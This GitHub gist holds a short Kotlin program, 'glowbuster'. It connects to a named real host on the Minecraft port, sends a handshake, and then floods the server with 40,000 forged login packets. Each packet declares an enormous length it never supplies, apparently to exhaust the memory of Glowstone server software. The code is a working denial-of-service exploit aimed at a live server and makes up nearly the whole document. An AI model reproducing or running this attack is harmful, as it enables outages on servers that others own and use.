Skip to content

Instantly share code, notes, and snippets.

@Minikloon
Created September 23, 2016 18:41
Show Gist options
  • Save Minikloon/da58d086a6185741b998c2ff8b5a8f53 to your computer and use it in GitHub Desktop.
Save Minikloon/da58d086a6185741b998c2ff8b5a8f53 to your computer and use it in GitHub Desktop.
package net.minikloon.glowbuster
import com.flowpowered.network.util.ByteBufUtils.writeVarInt
import io.netty.buffer.ByteBuf
import io.netty.buffer.Unpooled
import net.glowstone.net.codec.handshake.HandshakeCodec
import net.glowstone.net.message.handshake.HandshakeMessage
import java.net.Socket
fun main(args: Array<String>) {
val host = "gserv.me"
val handshake = Unpooled.buffer()
HandshakeCodec().encode(handshake, HandshakeMessage(210, host, 25565, 2))
val lyingLogin = createPhonyLoginPacket()
val socket = Socket(host, 25565)
socket.sendUncompressed(0x00, handshake)
val packets = 40000
for(i in 1..packets) {
socket.sendUncompressed(0x00, lyingLogin)
if(i % (packets / 100) == 0)
println(i)
}
}
fun Socket.sendUncompressed(packetId: Int, packetBuf: ByteBuf) {
val headerBuf = Unpooled.buffer()
writeVarInt(headerBuf, packetBuf.readableBytes() + 1)
writeVarInt(headerBuf, packetId)
write(headerBuf)
write(packetBuf)
}
fun Socket.write(buf: ByteBuf) {
if (buf.hasArray()) {
outputStream.write(buf.array(), buf.arrayOffset(), buf.readableBytes())
} else {
val bytes = ByteArray(buf.readableBytes())
buf.getBytes(buf.readerIndex(), bytes)
outputStream.write(bytes)
}
}
fun createPhonyLoginPacket() : ByteBuf {
val buf = Unpooled.buffer()
writeVarInt(buf, Int.MAX_VALUE / 4)
return buf
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment